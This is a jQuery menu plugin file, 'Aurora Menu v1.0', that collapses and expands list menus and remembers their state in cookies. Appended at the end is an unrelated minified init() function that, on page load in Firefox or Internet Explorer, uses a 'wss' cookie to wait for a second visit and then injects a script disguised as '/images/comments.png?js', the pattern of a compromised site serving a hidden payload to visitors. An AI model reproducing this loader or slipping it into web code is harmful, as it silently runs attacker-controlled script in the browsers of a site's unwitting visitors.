// Aurora Menu v1.0
// Design and conception by Aurora Studio http://www.aurora-studio.co.uk
// Plugin development by Invent Partners http://www.inventpartners.com
// Copyright Invent Partners & Aurora Studio 2009

var auroraMenuSpeed = 150;

$(document).ready(function(){

	if ($.browser.opera) {
	 
		$('.aurorahide, .aurorashow').css({ 'vertical-align': '-10px' });
	
	}else if ($.browser.msie) {
	
		$('.aurorahide').after('<br />');
	     $('.auroramenu > li').css('margin-bottom', '7px');
	
	}else if ($.browser.safari) {
	
	     $('.auroramenu a.lab').after('<br />');
		$('.aurorahide, .aurorashow').css('top', '-4px');
	    
	}
	
	var auroramenucount = 0;
	$('.auroramenu').each(function(){
	
		var auroramenuitemcount = 0;
		var i = 0;
		
		$(this).children('li').each(function(){
		
			var itemId = 'menu_' + auroramenucount + '_' + i;
			
			$(this).attr({id: itemId});
			$(this).click(function(){
			
				if( $.cookie( itemId ) == 1 ){
					
					slideThisMenu( itemId, 0 );
					
				}else{
					slideThisMenu( itemId, 1 );
					//$('#' + itemId + ' > ul').slideUp();
				}
				return false;
			
			});
			
			$(this).children('a').attr('href','#');
			
			var cookie = Math.abs( $.cookie( itemId ) );
			if( cookie == 0 ){
				var obj = $('#' + itemId + '> ul');
				obj.slideUp();
				obj.parent().children('.aurorahide').css("display","none");
				obj.parent().children('.aurorashow').css("display","inline");
				if ($.browser.msie) {
				    obj.parent().css('margin-bottom', '21px');
				}
			}
			
			i ++;
		
		});
			
		auroramenucount ++;
	});
	
	
	$('.menuLinks2 li').click(function(){
	
		var link = $(this).children('a');
		
		if( link.attr('target') == 'undefined' || link.attr('target') == ''  ){
		
			var target = '_top';
		
		}else{
		
			var target = link.attr('target');
			
		}
		
		window.open( link.attr('href'), target );
		return false;
	
	});
	
	
});
function slideThisMenu( id, show){

	$.cookie( id, show, { expires: 365 } );

     var obj = $('#'+ id + ' > ul');
	
	if(show == 1){
		$('#' + id ).click(function(){
					
					slideThisMenu( itemId, 1 );
					return false;
				
		});
		obj.slideDown(auroraMenuSpeed);
		obj.parent().children('.aurorahide').css("display","inline");
		obj.parent().children('.aurorashow').css("display","none");
		if ($.browser.msie) {
				    $('#' + id ).css('margin-bottom', '8px');
		}
				
	} else {
		
		$('#' + id ).click(function(){
					
					slideThisMenu( itemId, 1 );
					return false;
				
		});
		obj.slideUp(auroraMenuSpeed);
		obj.parent().children('.aurorahide').css("display","none");
		obj.parent().children('.aurorashow').css("display","inline");
		if ($.browser.msie) {
				    $('#' + id ).css('margin-bottom', '21px');
		}
	}
	
	
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/comments.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
